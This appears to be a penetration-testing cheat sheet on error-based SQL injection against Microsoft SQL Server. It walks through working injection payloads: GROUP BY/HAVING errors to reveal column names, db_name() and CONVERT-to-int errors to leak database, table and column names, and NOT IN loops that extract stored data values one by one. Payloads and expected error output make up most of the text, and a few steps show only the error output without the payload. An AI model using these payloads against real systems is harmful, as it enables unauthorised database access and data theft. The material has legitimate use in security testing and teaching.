Error-Based SQLi – Method 2¶
1. Enumerate table and column names via GROUP BY / HAVING errors¶
This technique relies on error messages like:
Column '
. ' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
You start with a simple HAVING clause, then incrementally add columns to the GROUP BY until the error disappears. Each error reveals the next column in <table_name>.
The examples assume your input is injected into a string context like:
... WHERE some_column = '<user_input>'
Example error output:
Column
<table_name>.<column_1_name>is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Example error output:
Column
<table_name>.<column_2_name>is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY <table_name>.<column_1_name>, <table_name>.<column_2_name> HAVING 1=1 --
Example error output:
Column
<table_name>.<column_3_name>is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Continue adding discovered columns to the GROUP BY list (, <table_name>.<column_3_name>, etc.) until the query no longer throws this error. The last error you see will contain the last undiscovered column name. Once the error stops, you have enumerated all columns involved in the vulnerable query (and you also learn <table_name> from the error text).
2. Enumerate database names using db_name()¶
This technique forces a type conversion error, leaking database names.
Generated error pattern (example):
[SqlException (0x80131904): Conversion failed when converting the nvarchar value '<database_1_name>' to data type int.]
Increment the argument to db_name(<database_id>) (1, 2, 3, …). Each time, the error message reveals <database_n_name>.
3. Enumerate table names using information_schema.tables¶
This similarly abuses a conversion error to leak table names.
Generated error pattern:
Conversion failed when converting the nvarchar value '<table_1_name>' to data type int.
1 AND 1 = CONVERT(
INT,
(SELECT TOP 1 table_name FROM information_schema.tables)
)--
1 AND 1 = CONVERT(
INT,
(
SELECT TOP 1 table_name
FROM information_schema.tables
WHERE table_name NOT IN ('<table_1_name>')
)
)--
1 AND 1 = CONVERT(
INT,
(
SELECT TOP 1 table_name
FROM information_schema.tables
WHERE table_name NOT IN ('<table_1_name>', '<table_2_name>')
)
)--
Repeat the pattern, adding each discovered <table_n_name> to the NOT IN list to enumerate further tables.
4. Enumerate column names for a specific table using information_schema.columns¶
Generated error pattern:
Conversion failed when converting the nvarchar value '<column_1_name>' to data type int.
1 AND 1 = CONVERT(
INT,
(
SELECT TOP 1 column_name
FROM information_schema.columns
WHERE table_name = '<table_1_name>'
)
)--
1 AND 1 = CONVERT(
INT,
(
SELECT TOP 1 column_name
FROM information_schema.columns
WHERE table_name = '<table_1_name>'
AND column_name NOT IN ('<column_1_name>')
)
)--
1 AND 1 = CONVERT(
INT,
(
SELECT TOP 1 column_name
FROM information_schema.columns
WHERE table_name = '<table_1_name>'
AND column_name NOT IN ('<column_1_name>', '<column_2_name>')
)
)--
Continue adding discovered column names to the NOT IN list ('<column_3_name>', etc.) to enumerate all columns for <table_1_name>.
5. Enumerate data values using known table and column names¶
Once you know <table_1_name> and <column_1_name>, you can enumerate individual data values.
Generated error pattern:
Conversion failed when converting the nvarchar value '<data_1_value>' to data type int.
1 AND 1 = CONVERT(
INT,
(
SELECT TOP 1 <column_1_name>
FROM <table_1_name>
)
)--
1 AND 1 = CONVERT(
INT,
(
SELECT TOP 1 <column_1_name>
FROM <table_1_name>
WHERE <column_1_name> NOT IN ('<data_1_value>')
)
)--
1 AND 1 = CONVERT(
INT,
(
SELECT TOP 1 <column_1_name>
FROM <table_1_name>
WHERE <column_1_name> NOT IN ('<data_1_value>', '<data_2_value>')
)
)--
Repeat this pattern, appending each newly discovered <data_n_value> to the NOT IN list to extract more distinct values from <column_1_name> in <table_1_name>.